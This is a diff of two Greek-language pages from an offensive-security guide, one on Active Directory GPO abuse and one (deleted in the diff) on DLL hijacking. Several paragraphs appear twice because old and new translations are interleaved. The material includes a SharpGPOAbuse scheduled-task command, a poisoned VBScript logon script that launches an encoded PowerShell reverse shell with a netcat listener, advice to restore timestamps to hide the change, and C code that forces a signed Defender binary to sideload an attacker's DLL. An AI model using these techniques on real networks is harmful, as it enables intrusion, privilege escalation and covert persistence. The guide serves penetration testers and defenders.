Το SharpGPOAbuse προσφέρει μια μέθοδο για την εκμετάλλευση υπαρχόντων GPOs προσθέτοντας εργασίες ή τροποποιώντας ρυθμίσεις χωρίς την ανάγκη δημιουργίας νέων GPOs. Αυτό το εργαλείο απαιτεί τροποποίηση των υπαρχόντων GPOs ή χρήση των RSAT εργαλείων για τη δημιουργία νέων πριν την εφαρμογή των αλλαγών:
|
||||
```bash
|
||||
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
|
||||
```
|
||||
### Εξαναγκασμένη Ενημέρωση Πολιτικής
|
||||
### Αναγκαστική Ενημέρωση Πολιτικής
|
||||
|
||||
Οι ενημερώσεις των GPO συνήθως πραγματοποιούνται περίπου κάθε 90 λεπτά. Για να επιταχυνθεί αυτή η διαδικασία, ειδικά μετά την εφαρμογή μιας αλλαγής, μπορεί να χρησιμοποιηθεί στον στοχευόμενο υπολογιστή η εντολή `gpupdate /force` για να εξαναγκάσει άμεση ενημέρωση πολιτικής. Αυτή η εντολή διασφαλίζει ότι οποιεσδήποτε τροποποιήσεις στα GPO εφαρμόζονται χωρίς να περιμένουν τον επόμενο αυτόματο κύκλο ενημέρωσης.
|
||||
Οι ενημερώσεις GPO συμβαίνουν συνήθως περίπου κάθε 90 λεπτά. Για να επιταχυνθεί αυτή η διαδικασία, ειδικά μετά την εφαρμογή μιας αλλαγής, η εντολή `gpupdate /force` μπορεί να χρησιμοποιηθεί στον υπολογιστή-στόχο για να επιβάλει άμεσα την ενημέρωση πολιτικής. Η εντολή αυτή εξασφαλίζει ότι οποιεσδήποτε τροποποιήσεις στα GPO εφαρμόζονται χωρίς να περιμένουν τον επόμενο αυτόματο κύκλο ενημέρωσης.
|
||||
|
||||
### Πώς λειτουργεί
|
||||
### Εσωτερικά
|
||||
|
||||
Κατά την επιθεώρηση των Προγραμματισμένων Εργασιών (Scheduled Tasks) για ένα συγκεκριμένο GPO, όπως το `Misconfigured Policy`, μπορεί να επιβεβαιωθεί η προσθήκη εργασιών όπως το `evilTask`. Αυτές οι εργασίες δημιουργούνται μέσω scripts ή εργαλείων γραμμής εντολών με στόχο τη μεταβολή της συμπεριφοράς του συστήματος ή την κλιμάκωση προνομίων.
|
||||
Με την εξέταση των προγραμματισμένων εργασιών (Scheduled Tasks) για ένα δεδομένο GPO, όπως το `Misconfigured Policy`, μπορεί να επιβεβαιωθεί η προσθήκη εργασιών όπως το `evilTask`. Αυτές οι εργασίες δημιουργούνται μέσω scripts ή εργαλείων γραμμής εντολών με στόχο τη μεταβολή της συμπεριφοράς του συστήματος ή την escalation προνομίων.
|
||||
|
||||
Η δομή της εργασίας, όπως φαίνεται στο αρχείο διαμόρφωσης XML που παράγεται από το `New-GPOImmediateTask`, περιγράφει τις λεπτομέρειες της προγραμματισμένης εργασίας — συμπεριλαμβανομένης της εντολής που θα εκτελεστεί και των triggers της. Αυτό το αρχείο αντιπροσωπεύει τον τρόπο με τον οποίο ορίζονται και διαχειρίζονται οι προγραμματισμένες εργασίες εντός των GPO, παρέχοντας έναν τρόπο εκτέλεσης αυθαίρετων εντολών ή scripts στο πλαίσιο της επιβολής πολιτικής.
|
||||
Η δομή της εργασίας, όπως εμφανίζεται στο αρχείο διαμόρφωσης XML που παράγεται από την εντολή `New-GPOImmediateTask`, περιγράφει τις ειδικές λεπτομέρειες της προγραμματισμένης εργασίας — συμπεριλαμβανομένης της εντολής που θα εκτελεστεί και των ενεργοποιητών της. Αυτό το αρχείο αναπαριστά τον τρόπο με τον οποίο οι προγραμματισμένες εργασίες ορίζονται και διαχειρίζονται μέσα σε GPO, παρέχοντας μέθοδο για την εκτέλεση αυθαίρετων εντολών ή scripts ως μέρος της επιβολής πολιτικών.
|
||||
|
||||
### Χρήστες και Ομάδες
|
||||
|
||||
Τα GPO επιτρέπουν επίσης τη χειραγώγηση των μελών χρηστών και ομάδων στα στοχευμένα συστήματα. Επεξεργαζόμενοι απευθείας τα policy αρχεία Users and Groups, οι επιτιθέμενοι μπορούν να προσθέσουν χρήστες σε προνομιούχες ομάδες, όπως η τοπική ομάδα `administrators`. Αυτό είναι δυνατό μέσω της ανάθεσης δικαιωμάτων διαχείρισης GPO, που επιτρέπει την τροποποίηση των αρχείων πολιτικής για την προσθήκη νέων χρηστών ή την αλλαγή των μελών ομάδων.
|
||||
Τα GPO επιτρέπουν επίσης την τροποποίηση μελών χρηστών και ομάδων στα συστήματα-στόχους. Επεξεργαζόμενοι απευθείας τα policy αρχεία Users and Groups, οι επιτιθέμενοι μπορούν να προσθέσουν χρήστες σε προνομιούχες ομάδες, όπως την τοπική ομάδα `administrators`. Αυτό είναι εφικτό μέσω της ανάθεσης δικαιωμάτων διαχείρισης GPO, που επιτρέπει την τροποποίηση των αρχείων πολιτικής για την προσθήκη νέων χρηστών ή την αλλαγή των μελών ομάδων.
|
||||
|
||||
Το αρχείο διαμόρφωσης XML για τα Users and Groups περιγράφει τον τρόπο εφαρμογής αυτών των αλλαγών. Προσθέτοντας εγγραφές σε αυτό το αρχείο, συγκεκριμένοι χρήστες μπορούν να λάβουν αυξημένα προνόμια σε όλα τα επηρεαζόμενα συστήματα. Αυτή η μέθοδος προσφέρει μια άμεση προσέγγιση για κλιμάκωση προνομίων μέσω της χειραγώγησης των GPO.
|
||||
Το αρχείο διαμόρφωσης XML για τους Users and Groups περιγράφει πώς εφαρμόζονται αυτές οι αλλαγές. Με την προσθήκη εγγραφών σε αυτό το αρχείο, συγκεκριμένοι χρήστες μπορούν να λάβουν υψηλότερα προνόμια σε όλα τα επηρεαζόμενα συστήματα. Αυτή η μέθοδος προσφέρει μια άμεση προσέγγιση για privilege escalation μέσω χειρισμού των GPO.
|
||||
|
||||
Επιπλέον, μπορούν να εξεταστούν και άλλες μέθοδοι για την εκτέλεση κώδικα ή τη διατήρηση persistence, όπως η αξιοποίηση logon/logoff scripts, η τροποποίηση registry keys για autoruns, η εγκατάσταση λογισμικού μέσω .msi αρχείων, ή η επεξεργασία ρυθμίσεων υπηρεσιών. Αυτές οι τεχνικές παρέχουν διάφορες οδούς για τη διατήρηση πρόσβασης και τον έλεγχο των συστημάτων-στόχων μέσω κατάχρησης των GPO.
|
||||
|
||||
## SYSVOL/NETLOGON Logon Script Poisoning
|
||||
|
||||
Writable paths under `\\<dc>\SYSVOL\<domain>\scripts\` or `\\<dc>\NETLOGON\` allow tampering with logon scripts executed at user logon via GPO. This yields code execution in the security context of logging users.
|
||||
|
||||
### Εντοπισμός logon scripts
|
||||
- Ελέγξτε τα attributes του χρήστη για ρυθμισμένο logon script:
|
||||
```powershell
|
||||
Get-DomainUser -Identity <user> -Properties scriptPath, scriptpath
|
||||
```
|
||||
- Σαρώστε τους κοινόχρηστους φακέλους του domain για να αποκαλύψετε shortcuts ή αναφορές σε scripts:
|
||||
```bash
|
||||
# NetExec spider (authenticated)
|
||||
netexec smb <dc_fqdn> -u <user> -p <pass> -M spider_plus
|
||||
```
|
||||
- Ανάλυση των αρχείων `.lnk` για να εντοπιστούν στόχοι που δείχνουν στο SYSVOL/NETLOGON (χρήσιμο κόλπο για DFIR και για επιτιθέμενους χωρίς άμεση πρόσβαση σε GPO):
|
||||
```bash
|
||||
# LnkParse3
|
||||
lnkparse login.vbs.lnk
|
||||
# Example target revealed:
|
||||
# C:\Windows\SYSVOL\sysvol\<domain>\scripts\login.vbs
|
||||
```
|
||||
- Το BloodHound εμφανίζει το `logonScript` (scriptPath) attribute στους κόμβους χρηστών όταν υπάρχει.
|
||||
|
||||
### Επικυρώστε την πρόσβαση εγγραφής (μην εμπιστεύεστε τις καταχωρίσεις share)
|
||||
Αυτοματοποιημένα εργαλεία μπορεί να εμφανίσουν το SYSVOL/NETLOGON ως read-only, αλλά οι υποκείμενες NTFS ACLs μπορεί να επιτρέψουν εγγραφές. Πάντα δοκιμάζετε:
|
||||
```bash
|
||||
# Interactive write test
|
||||
smbclient \\<dc>\SYSVOL -U <user>%<pass>
|
||||
smb: \\> cd <domain>\scripts\
|
||||
smb: \\<domain>\scripts\\> put smallfile.txt login.vbs # check size/time change
|
||||
```
|
||||
If το μέγεθος αρχείου ή το mtime αλλάξει, έχετε δικαίωμα εγγραφής. Διατηρήστε τα πρωτότυπα πριν τα τροποποιήσετε.
|
||||
|
||||
### Poison a VBScript logon script for RCE
|
||||
Προσθέστε στο τέλος μια εντολή που εκκινεί ένα PowerShell reverse shell (generate from revshells.com) και διατηρήστε την αρχική λογική για να αποφύγετε τη διακοπή της επιχειρησιακής λειτουργίας:
|
||||
```vb
|
||||
' At top of login.vbs
|
||||
Set cmdshell = CreateObject("Wscript.Shell")
|
||||
cmdshell.run "powershell -e <BASE64_PAYLOAD>"
|
||||
|
||||
' Existing mappings remain
|
||||
MapNetworkShare "\\\\<dc_fqdn>\\apps", "V"
|
||||
MapNetworkShare "\\\\<dc_fqdn>\\docs", "L"
|
||||
```
|
||||
Ακούστε στον υπολογιστή σας και περιμένετε την επόμενη διαδραστική σύνδεση:
|
||||
```bash
|
||||
rlwrap -cAr nc -lnvp 443
|
||||
```
|
||||
Σημειώσεις:
|
||||
- Η εκτέλεση γίνεται υπό το token του συνδεδεμένου χρήστη (όχι SYSTEM). Η εμβέλεια είναι ο GPO σύνδεσμος (OU, site, domain) που εφαρμόζει αυτό το script.
|
||||
- Καθαρίστε αποκαθιστώντας το αρχικό περιεχόμενο/χρονοσφραγίδες μετά τη χρήση.
|
||||
|
||||
Επιπλέον, μπορούν να ληφθούν υπόψη και άλλες μέθοδοι για εκτέλεση κώδικα ή διατήρηση επίμονης πρόσβασης, όπως η αξιοποίηση logon/logoff scripts, η τροποποίηση registry keys για autoruns, η εγκατάσταση λογισμικού μέσω .msi αρχείων ή η επεξεργασία των ρυθμίσεων services. Αυτές οι τεχνικές παρέχουν διάφορες οδούς για τη διατήρηση πρόσβασης και τον έλεγχο των στοχευμένων συστημάτων μέσω της κακής χρήσης των GPO.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
@ -187,5 +283,9 @@ Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "
|
||||
- [https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
|
||||
- [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658)
|
||||
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule\_\_ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
|
||||
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
|
||||
- [BloodyAD – AD attribute/UAC operations from Linux](https://github.com/CravateRouge/bloodyAD)
|
||||
- [Samba – net rpc (group membership)](https://www.samba.org/)
|
||||
- [HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin](https://0xdf.gitlab.io/2025/09/27/htb-puppy.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -1,320 +0,0 @@
|
||||
# Dll Hijacking
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
DLL Hijacking περιλαμβάνει τη χειραγώγηση μιας αξιόπιστης εφαρμογής ώστε να φορτώσει μια κακόβουλη DLL. Ο όρος αυτός περιλαμβάνει αρκετές τακτικές όπως **DLL Spoofing, Injection, and Side-Loading**. Χρησιμοποιείται κυρίως για εκτέλεση κώδικα, επίτευξη persistence, και, λιγότερο συχνά, privilege escalation. Παρά την εστίαση στην escalation εδώ, η μέθοδος hijacking παραμένει ίδια ανεξαρτήτως στόχου.
|
||||
|
||||
### Συνηθισμένες Τεχνικές
|
||||
|
||||
Χρησιμοποιούνται διάφορες μέθοδοι για DLL hijacking, η κάθε μία με την αποτελεσματικότητά της ανάλογα με τη στρατηγική φόρτωσης DLL της εφαρμογής:
|
||||
|
||||
1. **DLL Replacement**: Αντικατάσταση μιας γνήσιας DLL με μια κακόβουλη, προαιρετικά χρησιμοποιώντας DLL Proxying για διατήρηση της λειτουργικότητας της αρχικής DLL.
|
||||
2. **DLL Search Order Hijacking**: Τοποθέτηση της κακόβουλης DLL σε διαδρομή αναζήτησης πριν από την νόμιμη, εκμεταλλευόμενοι το πρότυπο αναζήτησης της εφαρμογής.
|
||||
3. **Phantom DLL Hijacking**: Δημιουργία μιας κακόβουλης DLL για μια εφαρμογή που νομίζει ότι πρόκειται για μη-υπάρχουσα απαιτούμενη DLL.
|
||||
4. **DLL Redirection**: Τροποποίηση παραμέτρων αναζήτησης όπως το %PATH% ή αρχεία .exe.manifest / .exe.local για να κατευθύνουν την εφαρμογή στην κακόβουλη DLL.
|
||||
5. **WinSxS DLL Replacement**: Αντικατάσταση της νόμιμης DLL με κακόβουλη στο WinSxS directory, μέθοδος που συχνά σχετίζεται με DLL side-loading.
|
||||
6. **Relative Path DLL Hijacking**: Τοποθέτηση της κακόβουλης DLL σε directory ελεγχόμενο από τον χρήστη μαζί με την αντιγραμμένη εφαρμογή, μοιάζοντας με τεχνικές Binary Proxy Execution.
|
||||
|
||||
## Εύρεση ελλειπόντων Dlls
|
||||
|
||||
Ο πιο κοινός τρόπος για να βρείτε ελλείποντα Dlls μέσα σε ένα σύστημα είναι να τρέξετε [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) από sysinternals, **ρυθμίζοντας** τα **εξής 2 φίλτρα**:
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
και να εμφανίσετε μόνο την **File System Activity**:
|
||||
|
||||
.png>)
|
||||
|
||||
Αν ψάχνετε για **missing dlls γενικά**, αφήνετε αυτό να τρέχει για μερικά **seconds**.\
|
||||
Αν ψάχνετε για ένα **missing dll μέσα σε ένα συγκεκριμένο εκτελέσιμο**, πρέπει να βάλετε **άλλο φίλτρο** όπως "Process Name" "contains" "\<exec name>", να το εκτελέσετε, και να σταματήσετε την καταγραφή συμβάντων.
|
||||
|
||||
## Εκμετάλλευση ελλειπόντων Dlls
|
||||
|
||||
Για να escalate privileges, η καλύτερη ευκαιρία είναι να μπορέσουμε να **γράψουμε μια dll που μια privileged διαδικασία θα προσπαθήσει να φορτώσει** σε κάποια από τις θέσεις όπου θα γίνει η αναζήτηση. Επομένως, θα μπορέσουμε να **γράψουμε** μια dll σε έναν **φάκελο** όπου η dll αναζητείται **πριν** από τον φάκελο που βρίσκεται η **αρχική dll** (παράξενο σενάριο), ή θα μπορέσουμε να γράψουμε σε κάποιο φάκελο όπου η dll αναζητείται και η αρχική **dll δεν υπάρχει** σε κανέναν φάκελο.
|
||||
|
||||
### Σειρά Αναζήτησης Dll
|
||||
|
||||
**Inside the** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **you can find how the Dlls are loaded specifically.**
|
||||
|
||||
Οι εφαρμογές Windows αναζητούν DLLs ακολουθώντας μια σειρά από **προκαθορισμένες διαδρομές αναζήτησης**, σε μια συγκεκριμένη αλληλουχία. Το πρόβλημα του DLL hijacking προκύπτει όταν μια κακόβουλη DLL τοποθετείται στρατηγικά σε μια από αυτές τις καταχωρίσεις, εξασφαλίζοντας ότι θα φορτωθεί πριν από την αυθεντική DLL. Μια λύση για να το αποτρέψετε είναι να διασφαλίσετε ότι η εφαρμογή χρησιμοποιεί absolute paths όταν αναφέρεται στις DLL που χρειάζεται.
|
||||
|
||||
Μπορείτε να δείτε την **DLL search order σε 32-bit** συστήματα παρακάτω:
|
||||
|
||||
1. The directory from which the application loaded.
|
||||
2. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.(_C:\Windows\System32_)
|
||||
3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (_C:\Windows\System_)
|
||||
4. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory.
|
||||
1. (_C:\Windows_)
|
||||
5. The current directory.
|
||||
6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path.
|
||||
|
||||
Αυτή είναι η **default** σειρά αναζήτησης με το **SafeDllSearchMode** ενεργοποιημένο. Όταν είναι απενεργοποιημένο, το current directory ανεβαίνει σε δεύτερη θέση. Για να απενεργοποιήσετε αυτή τη λειτουργία, δημιουργήστε την registry τιμή **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** και ορίστε την σε 0 (ενεργοποιημένο είναι το default).
|
||||
|
||||
Αν η [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) καλείται με **LOAD_WITH_ALTERED_SEARCH_PATH** η αναζήτηση ξεκινάει από τον φάκελο του executable module που **LoadLibraryEx** φορτώνει.
|
||||
|
||||
Τέλος, σημειώστε ότι **μια dll μπορεί να φορτωθεί υποδεικνύοντας το absolute path αντί μόνο το όνομα**. Σε αυτή την περίπτωση η dll θα αναζητηθεί **μόνο σε εκείνη τη διαδρομή** (αν η dll έχει εξαρτήσεις, αυτές θα αναζητηθούν όπως κάθε φορτωμένη dll με το όνομά της).
|
||||
|
||||
Υπάρχουν και άλλοι τρόποι για να αλλάξετε τη σειρά αναζήτησης αλλά δεν θα τους αναλύσω εδώ.
|
||||
|
||||
### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
|
||||
|
||||
Ένας προχωρημένος τρόπος να επηρεάσετε ντετερμινιστικά το DLL search path μιας νεοδημιούργητης διαδικασίας είναι να ορίσετε το πεδίο DllPath στο RTL_USER_PROCESS_PARAMETERS όταν δημιουργείτε τη διαδικασία με τις native APIs του ntdll. Παρέχοντας εδώ έναν directory ελεγχόμενο από τον attacker, μια target διαδικασία που επιλύει μια imported DLL με το όνομα (χωρίς absolute path και χωρίς χρήση των safe loading flags) μπορεί να αναγκαστεί να φορτώσει μια κακόβουλη DLL από εκείνη τη διαδρομή.
|
||||
|
||||
Key idea
|
||||
- Build the process parameters with RtlCreateProcessParametersEx and provide a custom DllPath that points to your controlled folder (e.g., the directory where your dropper/unpacker lives).
|
||||
- Create the process with RtlCreateUserProcess. When the target binary resolves a DLL by name, the loader will consult this supplied DllPath during resolution, enabling reliable sideloading even when the malicious DLL is not colocated with the target EXE.
|
||||
|
||||
Notes/limitations
|
||||
- This affects the child process being created; it is different from SetDllDirectory, which affects the current process only.
|
||||
- The target must import or LoadLibrary a DLL by name (no absolute path and not using LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories).
|
||||
- KnownDLLs and hardcoded absolute paths cannot be hijacked. Forwarded exports and SxS may change precedence.
|
||||
|
||||
Minimal C example (ntdll, wide strings, simplified error handling):
|
||||
```c
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
// Prototype (not in winternl.h in older SDKs)
|
||||
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
|
||||
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
|
||||
PUNICODE_STRING ImagePathName,
|
||||
PUNICODE_STRING DllPath,
|
||||
PUNICODE_STRING CurrentDirectory,
|
||||
PUNICODE_STRING CommandLine,
|
||||
PVOID Environment,
|
||||
PUNICODE_STRING WindowTitle,
|
||||
PUNICODE_STRING DesktopInfo,
|
||||
PUNICODE_STRING ShellInfo,
|
||||
PUNICODE_STRING RuntimeData,
|
||||
ULONG Flags
|
||||
);
|
||||
|
||||
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
|
||||
PUNICODE_STRING NtImagePathName,
|
||||
ULONG Attributes,
|
||||
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
|
||||
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
|
||||
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
|
||||
HANDLE ParentProcess,
|
||||
BOOLEAN InheritHandles,
|
||||
HANDLE DebugPort,
|
||||
HANDLE ExceptionPort,
|
||||
PRTL_USER_PROCESS_INFORMATION ProcessInformation
|
||||
);
|
||||
|
||||
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
|
||||
DWORD n = GetModuleFileNameW(h, out, cch);
|
||||
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
|
||||
}
|
||||
|
||||
int wmain(void) {
|
||||
// Target Microsoft-signed, DLL-hijackable binary (example)
|
||||
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
|
||||
|
||||
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
|
||||
wchar_t dllDir[MAX_PATH];
|
||||
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
|
||||
|
||||
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
|
||||
RtlInitUnicodeString(&uImage, image);
|
||||
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
|
||||
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
|
||||
RtlInitUnicodeString(&uCurDir, dllDir);
|
||||
|
||||
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
|
||||
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
|
||||
RtlCreateUserProcess_t pRtlCreateUserProcess =
|
||||
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
|
||||
|
||||
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
|
||||
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
|
||||
NULL, NULL, NULL, NULL, NULL, 0);
|
||||
if (st < 0) return 1;
|
||||
|
||||
RTL_USER_PROCESS_INFORMATION pi = {0};
|
||||
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
|
||||
if (st < 0) return 1;
|
||||
|
||||
// Resume main thread etc. if created suspended (not shown here)
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Operational usage example
|
||||
- Τοποθετήστε ένα κακόβουλο xmllite.dll (που εξάγει τις απαιτούμενες συναρτήσεις ή λειτουργεί ως proxy προς το πραγματικό) στον φάκελο DllPath σας.
|
||||
- Εκκινήστε ένα υπογεγραμμένο binary που είναι γνωστό ότι αναζητά το xmllite.dll με το όνομα χρησιμοποιώντας την παραπάνω τεχνική. Ο loader επιλύει την import μέσω του παρεχόμενου DllPath και sideloads το DLL σας.
|
||||
|
||||
Αυτή η τεχνική έχει παρατηρηθεί in-the-wild να οδηγεί σε αλυσιδωτές multi-stage sideloading αλυσίδες: ένας αρχικός launcher αποθέτει ένα helper DLL, το οποίο στη συνέχεια spawnάρει ένα Microsoft-signed, hijackable binary με custom DllPath για να εξαναγκάσει τη φόρτωση του DLL του επιτιθέμενου από έναν staging directory.
|
||||
|
||||
|
||||
#### Exceptions on dll search order from Windows docs
|
||||
|
||||
Certain exceptions to the standard DLL search order are noted in Windows documentation:
|
||||
|
||||
- Όταν συναντάται ένα **DLL που μοιράζεται το όνομά του με ένα που είναι ήδη φορτωμένο στη μνήμη**, το σύστημα παρακάμπτει την συνήθη αναζήτηση. Αντίθετα, πραγματοποιεί έλεγχο για redirection και manifest πριν καταλήξει στο DLL που είναι ήδη στη μνήμη. **Σε αυτό το σενάριο, το σύστημα δεν διεξάγει αναζήτηση για το DLL**.
|
||||
- Σε περιπτώσεις όπου το DLL αναγνωρίζεται ως **known DLL** για την τρέχουσα έκδοση των Windows, το σύστημα θα χρησιμοποιήσει την έκδοση του known DLL, μαζί με οποιαδήποτε από τα dependent DLLs του, **παραλείποντας τη διαδικασία αναζήτησης**. Το registry key **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** περιέχει λίστα αυτών των known DLLs.
|
||||
- Εάν ένα **DLL έχει εξαρτήσεις**, η αναζήτηση για αυτά τα dependent DLLs διεξάγεται σαν να είχαν υποδειχθεί μόνο από τα **module names**, ανεξάρτητα από το αν το αρχικό DLL είχε εντοπιστεί μέσω πλήρους διαδρομής.
|
||||
|
||||
### Escalating Privileges
|
||||
|
||||
**Requirements**:
|
||||
|
||||
- Εντοπίστε μια διεργασία που λειτουργεί ή θα λειτουργήσει με **διαφορετικά privileges** (horizontal ή lateral movement), η οποία **δεν διαθέτει ένα DLL**.
|
||||
- Βεβαιωθείτε ότι υπάρχει **write access** σε οποιονδήποτε **directory** στον οποίο θα **αναζητηθεί** το **DLL**. Αυτή η τοποθεσία μπορεί να είναι ο φάκελος του εκτελέσιμου ή ένας φάκελος εντός του system path.
|
||||
|
||||
Ναι, οι προϋποθέσεις είναι δύσκολες στον εντοπισμό καθώς **εξ ορισμού είναι περίεργο να βρεις ένα privileged executable που του λείπει ένα dll** και είναι ακόμη **πιο περίεργο να έχεις write permissions σε έναν φάκελο του system path** (συνήθως δεν μπορείς). Αλλά, σε misconfigured environments αυτό είναι εφικτό.\
|
||||
Σε περίπτωση που είστε τυχεροί και πληροίτε τις προϋποθέσεις, μπορείτε να ελέγξετε το project [UACME](https://github.com/hfiref0x/UACME). Ακόμη και αν ο **κύριος στόχος του project είναι το bypass του UAC**, μπορεί να βρείτε εκεί ένα **PoC** για Dll hijacking για την έκδοση των Windows που μπορείτε να χρησιμοποιήσετε (πιθανόν απλώς αλλάζοντας τη διαδρομή του φακέλου στον οποίο έχετε write permissions).
|
||||
|
||||
Σημειώστε ότι μπορείτε να **ελέγξετε τα δικαιώματά σας σε έναν φάκελο** κάνοντας:
|
||||
```bash
|
||||
accesschk.exe -dqv "C:\Python27"
|
||||
icacls "C:\Python27"
|
||||
```
|
||||
Και **έλεγξε τα δικαιώματα όλων των φακέλων μέσα στο PATH**:
|
||||
```bash
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||||
```
|
||||
Μπορείτε επίσης να ελέγξετε τα imports ενός executable και τα exports μιας dll με:
|
||||
```c
|
||||
dumpbin /imports C:\path\Tools\putty\Putty.exe
|
||||
dumpbin /export /path/file.dll
|
||||
```
|
||||
Για πλήρη οδηγό σχετικά με το πώς να **καταχρηστικά χρησιμοποιήσετε Dll Hijacking για να αυξήσετε προνόμια** όταν έχετε δικαιώματα εγγραφής σε έναν **System Path folder**, δείτε:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Αυτοματοποιημένα εργαλεία
|
||||
|
||||
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) θα ελέγξει αν έχετε δικαιώματα εγγραφής σε οποιονδήποτε φάκελο μέσα στο system PATH.\
|
||||
Άλλα ενδιαφέροντα αυτοματοποιημένα εργαλεία για την ανακάλυψη αυτής της ευπάθειας είναι οι **PowerSploit functions**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ και _Write-HijackDll._
|
||||
|
||||
### Παράδειγμα
|
||||
|
||||
Σε περίπτωση που βρείτε ένα εκμεταλλεύσιμο σενάριο, ένα από τα πιο σημαντικά πράγματα για να το εκμεταλλευτείτε επιτυχώς είναι να **δημιουργήσετε ένα dll που εξάγει τουλάχιστον όλες τις συναρτήσεις που το εκτελέσιμο θα εισάγει από αυτό**. Παρεμπιπτόντως, σημειώστε ότι το Dll Hijacking είναι χρήσιμο για να [escalate from Medium Integrity level to High **(bypassing UAC)**](../authentication-credentials-uac-and-efs.md#uac) ή από [**High Integrity to SYSTEM**](#from-high-integrity-to-system)**.** Μπορείτε να βρείτε ένα παράδειγμα του **πώς να δημιουργήσετε ένα έγκυρο dll** μέσα σε αυτή τη μελέτη για dll hijacking εστιασμένη σε dll hijacking για εκτέλεση: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
